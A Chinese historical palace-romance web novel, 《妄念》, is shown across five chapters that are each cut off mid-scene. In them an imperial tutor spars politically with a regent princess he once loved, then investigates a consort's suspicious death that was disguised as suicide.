《妄念》 1. 第 1 章 《妄念》全本免费阅读 “客官,您的酒来嘞!” 肩上披着白毛巾的店小二笑容满面地将一壶热酒和几盘吃食端到店门外的一桌上。 位于东市安业坊的福安酒楼店面不大,但其酿造的福安酩可谓是长安一绝。 如今天色未晚,又是过年之际,福安酒楼中已经坐满了人。来晚的客人便只能在门外的简陋木桌上凑合了。 林魏然便是这倒霉的晚来客人之一。 约他出来喝酒的是当今大长公主的唯一儿子,李迎南。因其早逝的父亲位列平阳侯,他又未曾正式继承爵位,京中权贵都唤他一句小侯爷。 “小侯爷找我做什么?”林魏然眼神扫过略显破旧的木椅,清俊的面孔神色未变,泰然自若地坐到了李小侯爷的对面。 李迎南挑挑眉,懒洋洋地笑了起来:“我还以为要费一番力气才能劝动我们林侍郎屈尊就座呢。” 林魏然脊背挺得笔直,周身气质出众,像是与这嘈杂之地格格不入。 但他很自然地伸手替自己倒了一杯酒,淡淡道:“又不是没来过。” 李迎南看着他流畅的动作,忽然大笑起来:“容时,你当真是变了不少。” 他唤的是林魏然的表字。 林魏然抬眼看了看他,淡淡地笑了一声:“小侯爷,你今日找我来,到底为何事?” 说着,他仰头喝了杯福安酩。 像是旧友重聚,但言语间全是敬称。 李迎南也给自己倒了一杯酒,转头看了一圈周围说笑玩闹的人,才笑道:“今日正月十一,还在上元假,怎么,是刑部还是政事堂还有事啊?” 林魏然把玩着手中酒盏,似笑非笑地看着对面的好友:“小侯爷是想来政事堂参观参观吗?” 李迎南眼底微暗,继而又连连摆手:“公主如今对我们这些人可是忌惮得很,我可不想插手这些事。你别害我。” 林魏然又给自己倒了一杯酒,轻轻笑了声:“小侯爷言重,下官怎敢。” 李迎南心底清楚,林魏然不可能不知道自己今日找他所为何事。 但林魏然始终不接他抛出去的砖,像是逼着他将一切挑明。 几杯酒下肚,李迎南心底的烦躁越烧越旺。指尖敲打着酒杯,他斟酌着该如何说下去。 如今天色渐渐黯淡,酒楼外也点起灯笼,他们这张简陋的酒桌上半明半暗,只有林魏然那双修长的、骨节分明的手看得最真切。 李迎南低头间,便看见了他手上深深浅浅的痕迹——当年林魏然还是盛极一时的宁安侯独子,出身世家大族,意气风发,养尊处优,两人也还是能一起说笑的关系。 不过几年,一切就都彻底变了。 李迎南眼底闪过几分复杂之色,最终还是叹口气问道:“你这几年过得可还好?” 林魏然放下斟满的酒杯,看着李迎南的眼睛,微微耸了耸肩,似毫不在意:“都过去了。” “都过去了啊……”李迎南轻声重复道,他细微的声音极快地碎在周围人的说笑声中。 明明是人声鼎沸之处,他们之间却骤然沉默无言。 林魏然自若地给自己倒酒,还夹了几箸菜,气定神闲地等着李迎南先开口。 李迎南找他做什么,不用猜都能知道。况且,以他的性子是忍不了多久。 果然,李迎南一咬牙,先谨慎地侧头看了一圈,确认四下无人监视后,才低声问道:“容时,我今日只想问你一句,三王余党公主殿下已经清算得差不多了。下一个,是要轮到谁” 他口中的三王,便是一年前起兵谋逆的二皇子、四皇子和五皇子。 林魏然停下手中动作,垂眸看了眼他按在桌上的手——五指修长白皙,还是与过去一模一样。 但他们已经跟过去不一样了。 林魏然又抬眼看他,漆黑的眼底平静无波,扯出一抹笑,问道:“你是以李迎南的身份问我,还是以大长公主之子的身份问我?” 李迎南像是一瞬间变得非常疲惫,他抬手捏了捏眉心,从喉间挤出一声苦笑:“容时,我是个只知吃喝玩乐的纨绔子弟,但我不能眼睁睁地看着我娘出事。” 林魏然阖了阖眼,掩去了眼底最后一点情感,淡淡道:“公主殿下的心意,又岂是我能揣度。” “那么多人,偏偏就是你做帝师!”李迎南闻言,按捺不住地抬高了声音,见周围有人将目光投向自己,又连忙压低了声音,双手撑着桌面,微倾身子,隔着一张桌子不甘地看着他,“你怎么可能不知道?况且当年先帝……” “小侯爷!”林魏然脸色微变,重重地放下酒杯,发出沉闷的响声,打断了李迎南的话。 他脸色已然沉了下来,语气重了不少,“慎言。” 李迎南的话一时被堵在喉中,有些不虞。 但回过神来,他也意识这话说不得——是他太着急了。 他深吸一口气,黑亮的眼底又透出几分哀求之意—— “容时,我不求别的。只要你能在公主殿下和陛下那说几句好话就行了。我娘她年纪大了,她也只是与杨禧允关系好些,绝没有帮他过什么。看在我们认识这么多年的份上,算我求你了。” 五皇子杨禧允,一年前叛乱的三王之一。 林魏然看着眼前的昔日旧友,慢慢垂下了眼,一时无言。 他摩挲着指尖,过了好一会,才平淡地开口:“时北,若大长公主真的没做过什么,那公主殿下也不会做什么。” 这是两人见面的第一次,他开口唤李迎南的表字。 李迎南微怔,自觉听懂了他的话,面上闪过喜色:“你同意了?” 林魏然抬手替他倒了杯酒,又给自己满上,微微举杯,说:“喝吧,公主殿下明察秋毫,不会冤枉任何人。” 李迎南眨眨眼,也咧嘴笑开,高兴地举杯:“容时,兄弟,谢了!” 两只酒杯碰在一起,发出一声脆响,又极快地湮没在喧嚣的环境中,再难听见。 天色黯淡,住在安业坊的百姓也都回来了。 快到宵禁,再上街已是不便,越来越多的百姓便来了福安酒楼,周遭愈发热闹,酒香饭香伴着细烟袅袅而上,盘旋在半空,甚至冲淡了长安冬日的寒凉。 只是林魏然却没觉得有多暖和,风刮过来,照样是凉彻心扉。 看着李迎南欣喜的脸色,他忽然觉得有些疲惫。 这场酒局,说的是旧友重逢,但情谊没续多少,相互倒是利用了个彻底。 只因恰巧这次他与李迎南目的一致,才能继续维持着这副和乐融融的假象罢了。 林魏然阖了阖眼,喝完了杯中最后一点酒,有些想离开。 只是他刚起身,一个人影敏捷地穿过人群,悄无声息地出现在两人桌边,低声道—— “林太傅,小侯爷。” 人影声音尖细,面孔阴柔——是宫中的太监! 李迎南连忙起身:“杨公公,您怎么来这了?” 杨言没理会李迎南,只看着林魏然,低声笑道—— “林太傅,公主殿下召您入宫一趟。” 林魏然看了眼天色,微微皱眉:“如今天色已晚,暴雨将至,这种时候……” “公主殿下特意给了咱家腰牌,说就算是宫门下钥了也要把林太傅请来。”杨言脸上笑意依旧,语气温和,却没有丝毫给林魏然拒绝的余地。 李迎南见状,眼底闪过一丝异样的亮光,忙道:“既是公主殿下有旨,容时你快去吧。我们这酒下次再喝也不迟。” 林魏然眉心骤跳,猛地侧眼剐过他——在杨言面前唤他表字,是生怕公主殿下不知道他与自己关系好吗? 见李迎南仍旧一副笑意盈盈的模样,林魏然又收回眼神。 “走吧,林太傅,”杨言笑眯眯地扫过李迎南,又看向林魏然,“别让公主殿下等急了。” —— 与此同时,太极宫内。 当今小皇帝坐在龙榻上,一边晃着够不着地的脚,一边看着坐在另一边的杨灵允,略带稚气的眉眼间有些担忧:“姐姐,宁安侯如今屡屡跟你唱反调,林太傅当真可靠吗?” 杨灵允笑着揉了揉小皇帝的脑袋,反问道,“那陛下觉得林太傅可靠吗?” 小皇帝不 2. 第 2 章 《妄念》全本免费阅读 “公主殿下。” “坐吧。”杨灵允靠在书桌后的龙椅上,抬抬下巴示意林魏然不必多礼,坐下说话。 御书房内烧着银炭,热气融融,但杨灵允像是极畏寒,依旧披着大氅,手上还抱着个手炉。 “先生这是去喝酒了?”杨灵允看着脸色微红的林魏然,笑了一声问道。 林魏然又起身拱手行礼:“臣担不起公主先生二字……” “行了,”杨灵允懒洋洋地倚在龙椅上,“如今这房内只有你和我,不必拘束。” 林魏然捏捏眉心,又坐了下来。 杨灵允看着他——他长得很好看,面如温玉,眼如点漆,又喝了酒,面色微红,更衬出他五官中的少年气。 “你比太子小一岁,便是长我三岁,按理来说,我也该唤你一声表哥。”她又笑着开口道。 林魏然怔愣片刻,才意识她口中的太子,是自己的表哥—— 一年前死在三王之乱中的先帝朝的废太子。 如果他没死,如今皇位上坐的应该是他。 想到这里,林魏然猛然回神,拱手道:“公主说笑,臣不敢当。” 杨灵允看着他漆黑的眼睛,又慢吞吞地开口了:“你是不是在想,若太子没死,如今坐在这个位置的,就不是我了。” 林魏然心底一跳,就想站起来请罪。 杨灵允像是知道他下一秒的动作,又抬手向下压了压,语气还是轻飘飘的,毫不在意:“坐下吧。我也是这样想的。” 御书房内的炭烧得很足,热气舔舐着房内的每一个角落,甚至有些闷。 林魏然拢在衣袖中的指尖微蜷,又开口问道:“不知公主召臣前来,是有何要事?” 杨灵允低头拨弄着手炉上的套子,没有看他,只是慢慢问道:“今日是李小侯爷约先生一起去喝酒吧,福安酩味道如何?” 杨言果然将先前福安酒楼的所有情况一五一十地回禀给她。 林魏然应道:“是。福安酒楼的福安酩回味醇香。公主若是想尝尝,下回臣入宫时献给公主。” 杨灵允轻轻笑了一声,“你这话,我八年前就听过。” 两人重逢一年,这是她第一次提过去之事。 林魏然微怔,眼瞳一晃,险些撑不住面上的恭敬疏离。 但他又极快阖了阖眼,强迫自己收回那些不该有的心绪——世事变迁,他们的身份早已变了。 旧事就该淹没在岁月中。 况且今日他还有更重要的事。 杨灵允也没有多提的意思,温吞地继续开口:“小侯爷找你,是为大长公主一事吧。” 她说话不快,语气也很平和,丝毫没有过去一年中处理三王旧党的果断狠辣。 果然来了。 林魏然心底巨石落地——从李迎南找他开始,他就知道,会有今天这一日。 而他应下李迎南的邀请,也正是为了今天这一日。 “是,”他痛快地承认了,“小侯爷担心大长公主被牵扯进三王之事,所以特向臣打听。” “是吗……”杨灵允终于抬眼看他,若有所思地点点头,“姑母素来喜欢五哥,先前还来替五哥求情。先生以为,姑母是否参与五哥谋逆一事呢?” 她语气始终平和,还带着点笑意,眼尾微弯地看着林魏然。 林魏然阖了阖眼,又起身跪下,沉声道:“臣以为,如今三王伏诛,其党羽也尽数歼灭,公主若此时再处置大长公主,难免事出无名。若大长公主当真心怀不轨,公主大可等其自乱阵脚,届时再惩处她,也不使天下人议论。” 杨灵允抬手拢了拢自己身上的大氅,歪了歪头,浅笑着问道:“议论?议论什么?议论本宫手足相残,不忠不孝?” 她措辞锐利,但语气中却没有丝毫动怒的迹象——可过去一年,每当有言官进谏此事,她都是勃然大怒。 林魏然喉结微动,指尖几乎要嵌入掌心。 但他不想错过这个机会,一咬牙坚持道:“陛下登基不过一年,去年之事已使朝野震荡,为保社稷安稳,还请公主殿下三思。” 御书房内沉寂良久,林魏然眉眼低垂,始终不曾抬头。 杨灵允坐在上首,过了好一会,忽然低低地笑了一声,“我听杨言说,先生与小侯爷关系匪浅,所以先生这是在替小侯爷求情?” 林魏然脸色微变,骤然抬头,在心底咬牙怒骂李迎南那个自作聪明的蠢货。 若今日只有他与李迎南见面一事,公主又提起大长公主一事,他便可顺理成章地劝公主暂且放一放此事。 但李迎南先前那句“容时”一出,公主定会怀疑他们二人私交甚好,纵使他再能言善辩,也难以摘清。 但他沉默片刻,仍旧没有改口,坚持道—— “公主殿下,如今好不容易安稳下来,百姓已再经不起折腾了。” 不过,他也已经做好了被杨灵允用折子砸头的准备——过去进谏此事的言官,无一不是如此。 但御书房内却倏然安静。 只有暖炉内的炭火不时发出细碎的声音。 炭火在渐渐变少——林魏然的喉咙也渐渐变得有些干涩。 能说的他都已经说了,尽人事,听天命。 在长久的沉寂中,他几乎是有些自暴自弃地这样想着。 反正再差也不过再被下放到哪个偏远蛮荒之地去,又不是没去过。他低着头,苦中作乐地扯了扯嘴角。 不知过了多久,杨灵允终于开口了:“起来吧。” 林魏然猛然抬头。 杨灵允一手撑在书桌上,托着腮冲他笑笑:“先生说得不错,我是该与陛下商议商议此事。” 从头到尾,她都没有发怒的迹象。 林魏然眼底闪过意外之色。 “坐吧,”杨灵允又抬抬下巴,像是有些冷,整个人拢进大氅里,捻着指尖的一小撮绒布把玩,笑道,“先前言官进谏之时,三王党羽尚在,若我有犹豫之心,怕是就清不干净。如今三王党羽皆灭,确实该安抚人心了。” 林魏然心底最后那点疑虑也烟消云散。 他慢慢起身,嘴角也微微扬起,恭敬地拱手行礼:“公主圣明。” 这一笑,他的眉眼舒展开来,更有风流意气之态,与杨灵允记忆中的少年骤然重合。 杨灵允嘴角笑意更深:“夜深露重,先生今日就歇在这吧。” 林魏然闻言,却下意识地皱了皱眉,又正色道:“多谢公主好意。只是外臣实在不宜夜宿宫中。臣还是先行告退了。” 这一年来,他将与杨灵允之间的距离保持得极有分寸,无可指摘。 今夜也本该如此。 但不知是先前喝了酒的缘故,还是耗费了太多心力的缘故,他才刚转身走了几步,就被杨灵允一句话喊得骤然失神,脚步停滞—— “容时哥哥。” 杨灵允终于从书桌后的龙椅上站起来,轻声笑道,“你是担心有人议论吗?” 这是他们重逢的一年间,她第一次这样唤他。 像是打破了什么禁忌,御书房内的空气陡然凝滞,连暖炉中细碎的声音也突然消失了。 林魏然像是被定在原地。 明明手已经搭上了门帘,明明只要再走两步就可以离开,但他却觉得周身僵硬,甚至使不上劲抬脚。 他的意识好像在一瞬间变得涣散,浮在半空,缓慢地穿梭在漫长的岁月—— “容时哥哥……” 八年前的上元节,他带她出去看花灯时,她就是这样笑意嫣然地喊他容时哥哥。 漫天灯火下的少女,比那夜长安最好看的花灯还漂亮。 林魏然攥着门帘的手渐渐收紧,用力得骨节泛白才堪堪克制着心底最幽深的欲望。 但背对着杨灵允的眼底,不合时宜不符礼数的妄想却在眼底越烧越旺。 有些称谓,是他们之间不能宣之于口的装作不知。 可偏偏就在这个普通的暴雨将至的夜晚,杨灵允轻飘飘地打破了这份默契。 他喉结剧烈地滚动几下,几乎想转身问一句放肆的话——“你究竟想做什么?” 但下一刻,杨灵允温柔的嗓音再次响起,残忍而缓慢地将他的理智拉了回来—— “我知道如今朝中有不少人在搬弄是非。先生若是怕旁人非议,担心名声,等十五过后,我便好好清理一番。” 柔和的嗓音落在御书房内,霎时间凝固了林魏然心底所有乱七八糟的想法。 暖炉中的炭火又开始发出阵阵细小的碎裂声。 林魏然僵在原地。 他终于缓慢地转身了,看着杨灵允含笑的面孔,片刻之后才勉强地扯扯嘴角,从喉中挤出不知为何突然变得干涩的声音—— “公主……是在说笑吗?” 杨灵允站在龙椅前,嘴角还噙着淡淡的笑意,“先生觉得我是在说笑吗?” 林魏然瞳孔一颤,骤然明白过来,她是认真的。 若他今夜离开,十五之后,她怕是真的要对那些搬弄是非的言官动手。 但他们并无大错。 罪不致死。 林魏然清楚,杨灵允更清楚。 回笼的理智告诉林魏 3. 第 3 章 《妄念》全本免费阅读 许是深夜人心浮动不安,又许是上半夜杨灵允已经打破了他们之间那份难以言说的屏障,林魏然沉默片刻,轻声开口唤了八年前熟悉的名字—— “宣和?” 杨灵允转头看了眼他,又转回头,继续盯着地面发呆。 她似乎有些累,也没对林魏然这亲近却犯上的称呼有什么反应,声音中还带着几分倦怠:“你怎么来了?” 今夜风大雨大,连厅内的地面都沾着雨水。 林魏然慢慢上前,靠近杨灵允,轻声道:“打雷了,我出来看看。” 看什么,他没有说。但两人心知肚明。 杨灵允喉间挤出一声短促的笑,“你还记得?” 说话间,林魏然已经站在了杨灵允身侧。 如今走近了,他才发现,杨灵允并没有坐在厅堂之上的软椅,只是坐在堂下的阶上,裙角都被雨水打湿了。 “地上凉,”他伸手想拉起杨灵允,“公主,起来吧。” 他又喊她公主了,大约是被风雨吹得彻底清醒。 杨灵允坐在阶上,抬头看着他。 不过她没有伸手,神色无动于衷,“你没必要来。都过去这么多年,我早不怕雷声了。” 林魏然伸出的右手指尖微蜷。 见杨灵允没有起来的意思,他沉默片刻,索性也坐在了阶下,背对着门,替杨灵允挡住了些风,轻声问道:“我听小安子说你咳疾加重,睡得不好。太医如何说?” “旧疾罢了,”杨灵允平静又疲倦地开口,“开春就好了。” “安神茶不管用吗?”林魏然坐得比她低些,微微抬头看着她。 他眼睛透亮,黑发垂散,当真是一派少年风流。其实也是,如今他也不过二十出头。 “喝多就没用了。”杨灵允收回眼神,像是突然对自己的手心很感兴趣,指尖缓缓划过掌纹。 风雨之下,很多东西只会出现片刻,便又被吹散消失——比如他们如今的身份。 幽暗的夜色遮住了人影,却放大了人心深处的妄念。 林魏然指尖微蜷,动了动喉结,忽然就看着杨灵允,清亮的声音中染着几分连他自己都没察觉的期冀:“永平坊的松涧楼有一种新制的安神香,效果不错……过几日,公主想去看看吗?” 话音刚落,他便下意识地滚动喉咙,又在心底说服自己——只是帮公主睡得好些,不算越界。 但过几日,就是上元节了。 杨灵允抬眼看着林魏然,平淡地反问道,“你是想问我上元节那天去不去吗?” 林魏然没想到杨灵允这般直白,一时顿住,过了片刻,才闷声应下。 偏殿内烛火黯淡,外面又是风雨交加,雨声风声呼啸而来。 杨灵允其实没太听清他的低声应答。 但她听清了林魏然接下来的碎碎念——“四年没回京,也不知道李家的花灯铺子还在不在,他家的花灯是全长安最好看的了……” “也不知道西市还燃不燃焰火……”杨灵允思绪有片刻的恍惚,几乎是下意识地顺口道。 只是她话语未落,两人的目光陡然相撞。 “西市的焰火?” “李家的花灯?” 两人几乎是不约而同地同时开口,又在片刻之后,很轻地笑出了声。 暴雨之夜,偏殿之中,久违的平稳温和之意慢慢卷上,悄无声息地笼罩住他们,为他们隔开了一方小小的、只属于他们的天地。 在这片短暂的天地之间,他只是林容时,她也只是杨宣和。 林魏然定定地看着杨灵允,喉结微动,又轻声问道:“去吗,宣和?” ——八年前,他也是这样问她:“宣和,去看花灯吗?” 只是那时他笑得张扬恣意,意气风发。 如今,他却多了几分说不清道不明的小心翼翼。 杨灵允眨了眨眼,八年前的林容时与八年后的林魏然在这一刻交错在眼底——她一时有些恍惚。 可无论如何……八年前她想去,八年后她还是想去。 窗外的雨声有愈演愈烈之势。 在铺天盖地的雨打声中,杨灵允却觉得今夜好像没有那么冷了,浅淡却难以忽视的暖意缓慢地蔓延至她的四肢百骸。 片刻之后,她到底还是弯起唇角,缓慢地点了点头。 林魏然眼睛瞬间亮了不少,他试探性地伸出手,小心地轻声道:“那说好了?” 这次,杨灵允终于把手放在他手上,轻轻笑了声:“嗯,说好了。” 林魏然握住杨灵允的手,像是计谋得逞一般,嘴角露出一个狡黠的笑。 在杨灵允还未反应过来时,他手臂骤然发力,在起身的同时将杨灵允也从阶上拉了起来。 杨灵允猝不及防地被拉起来,没站稳,下意识地用另一只手揽住了林魏然的脖颈。 本就裂痕丛生的分寸瞬间被打碎。两人在这一瞬间靠得极近,极暧昧。 林魏然身子一僵,没想到会变成这样——他真的只是想将她拉起来。 杨灵允的指尖冰凉,还沾着些雨水,刺激得他后颈处不断战栗,细密的战栗又从后颈缓缓蔓延而下。 林魏然动了动喉咙,开口时声音压得极低,像是在努力克制着什么情绪。 他说,“今夜风大,你咳疾未愈不宜吹风。” 但攥着杨灵允的那只手却一直没松开。 杨灵允站稳了身子,慢慢收回搂住他脖颈的那只手。 她下意识地垂眼看了看两人相交的手心——她的手被林魏然牢牢握着,他手心的热意似乎能从自己的指尖蔓延至全身。 他身体很好,向来不畏寒——就算被贬去苦寒之地三年,依旧如此。 “我送你回去。”他又低声道。 杨灵允阖了阖眼,到底也没有收回手,只是又看了眼濡湿的裙角,然后轻声道:“走吧。” 林魏然送杨灵允到了栖暖殿——是她在太极宫的住处。 栖暖殿外也没有侍卫。 “都在正殿那边候着,有事喊一声就行了。”见林魏然眉头微皱,杨灵允解释了一句。 林魏然在殿门口停下了脚步。 两人相握的手也就此松开。 林魏然对着她弯唇笑了:“宣和,去睡一觉吧。” 杨灵允站在原地,她没有再继续往前走,四目相对之下,暗潮流淌,暧昧的热意汹涌而来。 但片刻之后,她忽然阖上眼,避开他眼底的笑意,喉咙微动,犹豫了片刻,才轻声开口:“我知道你不想做这个帝师。” 年少相识,她何尝不了解他? 他骄傲自负,过去不想借着宁安侯的名头升官,如今自然更不想因此而坐上这个帝师之位。 他想靠自己。 而当年的他也确实做到了。若没有四年前的废太子一事,他应当还能安安稳稳地在雍州做司马,而不是在这个被所有人盯着的地方,饱受非议。 “我只是……”杨灵允又缓慢地开了口,可后半句话,却好像怎么也说不出来。 ——别无选择。 林魏然在几步之外看着她,片刻后又慢慢走近了些,抬手替她将沾在脸上的几缕湿发拉到耳后。 然后他轻声笑了笑,说夜深了,去休息吧。 其实林魏然早已认清现实——官场利益交错,关系盘根复杂。 他从来就没有真正脱离过父亲的影子。 因为他是宁安侯之子,所以他才能从那偏远之地再次回京;因为他是宁安侯之子,所以他才能坐这个帝师之位。 只是他始终没明白 4. 第 4 章 《妄念》全本免费阅读 杨灵允脸色微变,看他时脸色和语气都沉了几分,“林太傅,你可知道,这话一出,会有什么后果?” 林魏然眉头越拧越紧。 他知道,他当然知道——若云贵太妃在宫中被歹人所害,那更给了云氏和安王一个更顺理成章的理由。 但是…… 他缓缓吐出一口气,轻声道:“自缢之人大多脸色苍白,颈上勒痕附近应还有鲜红色的斑点。但此尸指尖发紫,面色红润,颈处唯有一道暗红色勒痕,明显是死后才被悬挂在梁上。真正的死因,很可能是中毒。” 此时所有的宫人都已经被遣走了,只有抬担架的侍卫留在原地。 杨灵允听完林魏然这一番话,垂眼看着担架上的女人,一言不发。 林魏然喉结微动,又有些执拗道,“就算她身份特殊,也不该死得这般不明不白。只要在正月十五前抓到凶犯,给云氏、安王和朝臣一个交代,事情便可了结。” “宣和,没有人该死得不明不白。” 他固执的声音伴着徐徐而来的风环绕在杨灵允身侧。 杨灵允抬手拢了拢大氅,终于抬眼看他了。 她说:“那此案就由你负责。在没查清凶犯前,一丝消息都不能泄到宫外。” 林魏然眼睛微亮,郑重地点点头,但又想到了什么,像是有些纠结道,“只是后宫之中,还有云贵太妃的尸首……还需仵作验尸。” “太医院内有医女,我叫杨言盯着,结果一出就来禀报。”杨灵允阖了阖眼,再睁眼时眼底一片沉静,“至于后宫,有我在,各宫任你查。” —— 杨灵允与林魏然见的第一个人,是长兴宫的掌事宫女,云贵太妃的贴身侍女,桃柳。 也是她第一个发现云贵太妃的尸体。 “娘娘昨夜遣走了守夜的下人,说想一个人静一静,不许人在殿内守着,”桃柳瘫软地跪坐地上,悲痛欲绝,“奴婢,奴婢就离开了。今日辰时末,娘娘还没起床,奴婢就想进去看看,结果……” 她说着,骤然仰头,抬手用力抓住了杨灵允的衣角,声音哀切,“公主殿下,娘娘平日里如何对您您是知道的,您可一定要替娘娘报仇啊!” 杨灵允沉默着站在原地,任由她攥着自己的衣角,没叫人拉开她,但也没出声。 林魏然轻叹一声,蹲下来问道,“桃柳姑娘,敢问你家娘娘平日里可有与谁交恶?昨日又见过谁,吃过什么东西?” “娘娘素来心善,从不与人起争端!”桃柳转头瞪着这个陌生男人,怒声道,“你又是谁?我家娘娘之事岂是你能过问?” 林魏然抬抬手,想示意她冷静下来。 与此同时,杨灵允也终于开口说了踏入长兴宫后的第一句话:“他是负责查案之人,找我没用,找他才管用。” 说完,她抬眼示意侍卫将桃柳从自己身旁拉开,抱胸站在一边,仿佛真的就只是来给林魏然查案撑场子的。 桃柳哭得通红的眼底闪过些惊诧,但也顾不上那么多了,她一五一十地说出了昨日之事。 “昨儿一早,娘娘就亲手下厨做了一盘点心,吩咐我送去太极宫给公主殿下。但我送去没多久,公主殿下身边那个侍女,好像……好像是叫幼荷,就把点心原封不动地送了回来,而且一句解释也没有,惹得娘娘失落了一整天,都没吃什么东西。” 林魏然闻言,下意识抬头看了眼一边的杨灵允。 她面无表情地倚在一边的石柱上,就算与林魏然的目光对上,依旧无动于衷。 “还有呢?”林魏然又收回眼神,温声继续询问桃柳。 桃柳用力拍着脑袋回想,“还有……还有,昨日淑太妃,林太妃,还有云太妃,都来过长兴宫。” 说到这里,桃柳又骤然变得激动,死死攥住了林魏然的衣袖,咬牙恨声道,“是淑太妃!一定是她,从前她就一直针对我们娘娘,一定是她!” 她似乎被怔住了,口中不断喃喃着一定是她四个字,眼睛瞪得极大,眼底发红。 林魏然皱起眉,利落地抬手敲晕了桃柳,放回干草上。 “不问了?”杨灵允淡淡地问道。 林魏然摇摇头,“她受了太大刺激,先找个太医来看一看吧。” 杨灵允正眼看着他,轻轻地笑了一声,“容时哥哥,你当真是没变啊……” “嗯?”林魏然一时不解杨灵允这话是什么意思。 杨灵允已转身走了出去,轻淡的声音飘忽在半空,“还是这么好心肠。” 林魏然听见了,但也只是沉默地走了出来。 日头东升,今日竟是难得的日光璀璨,明亮地照着整个长兴宫。 “八年了,怎会一成不变?”林魏然看着杨灵允,轻声道。 杨灵允转头看他,意味不明地扬了扬唇,倒也没再继续这个话题,只道,“桃柳说了三个人,林太妃的宁安殿与云贵太妃的长兴宫最近。不过刚刚杨言来报,林太妃得知云贵太妃死讯,悲伤过度昏了过去,太医还在照料。” “现下只剩云太妃和淑太妃,你想先见哪一个?” “云太妃?”林魏然重复了一边,问道,“与云贵太妃是……” “是她妹妹,”杨灵允微微点头,“亲妹妹。” 林魏然沉吟片刻,掐了掐眉心,像是想掐灭心底那份缓缓升起怀疑,打起精神道:“桃柳刚刚说淑太妃与云贵太妃关系不好。关系不好,却偏偏昨日来了长兴宫,未免有些奇怪。先去问问她吧。” “行,”杨灵允看上去真的就只是来陪他查案的,没有半分表达自己看法的意思,抬抬下巴道,“那去坤宁宫。” —— 另一边,太极宫内,小皇帝醒来时,幼荷守在一边。 “幼荷姐姐?”小皇帝慢慢撑起身子,含含糊糊地问道,“姐姐如何?” “公主……公主无事,与林太傅一同去查案了。”幼荷垂眼应道,“陛下不必担心。我服侍您洗漱更衣。” 小皇帝眨了眨眼,坐在龙榻上,也没问出了什么事,只是熟练地自己系好了衣服,又跳下床,笑着说,“我一个人也可以,太极宫还有很多人,幼荷姐姐你还是去姐姐那边吧。” 幼荷终于抬头看了看眼前才到她腰部的孩子,和那张与自己妹妹如出一辙的面孔。 “我……我留下陪您,可好?”她眨了眨眼,对小皇帝弯唇笑了笑。 小皇帝眼睛微亮,高兴地点点头。 —— “怎么一个人也没带,你那个侍女呢?”在去坤宁宫的路上,林魏然见杨灵允一个人也没带,不由问道。 “在陛下那边。”杨灵允淡淡道,“我在后宫呆了二十几年,闭着眼睛都知道路怎么走。” 林魏然想起当年杨灵允满脸期待地说想出去看看。可到头来她却始终没走出这皇城。 他转头,想看清她的神色。 但杨灵允始终面无表情,平静得近乎漠然。 两人的身影在日光下摇摇晃晃,却始终没碰上。 就像林魏然挣扎纠结的指尖,到底也没抬起来。 最终,他只在即将踏入坤宁宫时,轻声道,“十五之前,我一定能抓到凶犯。等凶犯落网,我们一起出宫看看吧。” 杨灵允转头看了他一眼。她面上闪过轻笑,仿佛还有几分嘲色。只是快得林魏然以为只是自己的错觉。 “等你查清真相吧。”她在转瞬间恢复恢复如常,平淡道。 —— “为何去?”淑太妃坐在正殿之上,看着堂下站着的两个不请自来的人,冷淡道 5. 第 5 章 《妄念》全本免费阅读 “四年前,你身边那两个侍女因为冲撞闻妩被没入掖庭狱,不过三日人便没了。听说当年你在掖庭外跪了半日,想好好安葬那两小宫女的尸首,只是当时的掖庭令太不识相了,竟直接将那两人的尸首连着垃圾一同拉出去了,还对你口出不敬。” 在杨灵允骤然阴沉的脸色中,淑太妃挑挑眉,语带玩味地继续道,“闻妩,当年的掖庭令都死了。如今闻妩当初的靠山云婉也死了,临安公主,你可满意了?” 林魏然眉头微皱,转头看了杨灵允一眼。 杨灵允依旧坐着,但先前的那点笑意已然消失。 她面无表情地看着淑太妃,冷声反问道,“你想说,云婉是我杀的?” 淑太妃毫不在乎她声音中的冷意,脸上笑意愈发浓重,语带兴味道,“怎么会,只是给林太傅一个查案的线索罢了。要说与云婉有仇,我有,你难道就没有?” “况且,当年皇后病逝,难道不是因为云婉?” 她又轻描淡写地添了最后一把火,然后对林魏然挑眉道,“查案可得查仔细些。好了,本宫乏了。樱兰,送客。” 下了逐客令,淑太妃便毫不犹豫地起身离开,再没给两人留半分面子。 坤宁宫外,日头初升,林魏然和杨灵允的影子随着两人的步伐交缠在一起,又摇摇晃晃地分开了。 林魏然缓缓捏紧了手,用力得骨节泛白。他本该问杨灵允与云婉一事的,可淑太妃那声“跪了半日”始终死死纠缠着他。 杨灵允过得并不好。 心思一旦浮现,就再难遏制。 他喉咙滚动了好几下,指甲狠狠地嵌进掌心,才撑起一副若无其事的样子,淡淡问道:“淑太妃所言,可是真的?” 杨灵允转头,似笑非笑地看了他一眼,“你怀疑我?” 林魏然骤然阖眼,想避开她的眼神。 但片刻间又睁眼,定定地看着她:“不,云贵太妃的贴身宫女说云婉待你极好,淑太妃又说你与云婉之间有仇怨,我只想听听你与云贵太妃的真正关系。” 他的声音依旧清亮,好像下放三年的磋磨并没有留下丝毫痕迹。 他还是一样正直,一样地在为每一个枉死的人讨个公道。 但她不是。 杨灵允缓缓闭上眼,平淡道,“母后病逝与云婉无关。盈欢盈乐的死是闻妩借着云婉的名头自作主张,所以我只弄死了闻妩,我不怪云婉。” 说着,她又转头,看着林魏然,扯了扯嘴角,“我对云婉,还没有到要亲手杀之而后快的地步。” 林魏然喉咙微动,继而就轻轻点头,“好,那我们去见云太妃吧。” 杨灵允眉头微挑,没想到林魏然只是问了一句便不再追问。 在前往云太妃的顺承殿时,杨灵允终于忍不住开口问他,“你没有别的要问的了?” 林魏然走在她身侧,闻言转头看了看她。 他其实还有很多要问的,但一张嘴,询问的话到了嘴边,却变成轻声的关心:“你的旧疾,是当年在掖庭外留下的吗?” 杨灵允一愣,才意识过来他说的是什么,她猜到淑太妃会将过往之事说给林魏然听,也猜到林魏然听后会问她,却没想到,他问的竟是这个。 “不是,是之前中过毒,落了病根。”她阖了阖眼,开口解释道。 林魏然指尖一颤,担忧之色再难掩饰,“太医如何说?” “只是冬日有些咳嗽罢了。” 不知为何,杨灵允的心底忽然染上一股莫名的烦躁——林魏然不去查这案子,反倒在这些无关紧要的小事上纠缠这么多做什么? 眼见不远处的牌匾,她便飞快地扯开了话题,语速都快了不少——“顺承殿到了。” 顺承殿不比坤宁宫和长兴宫,占地不大,宫人也不多,殿内飘着淡淡的薄荷香味。 云太妃与云婉只有三四分相似,眉眼间流转着脆弱无害的柔顺,面孔保养得极好,几乎看不见岁月的痕迹。 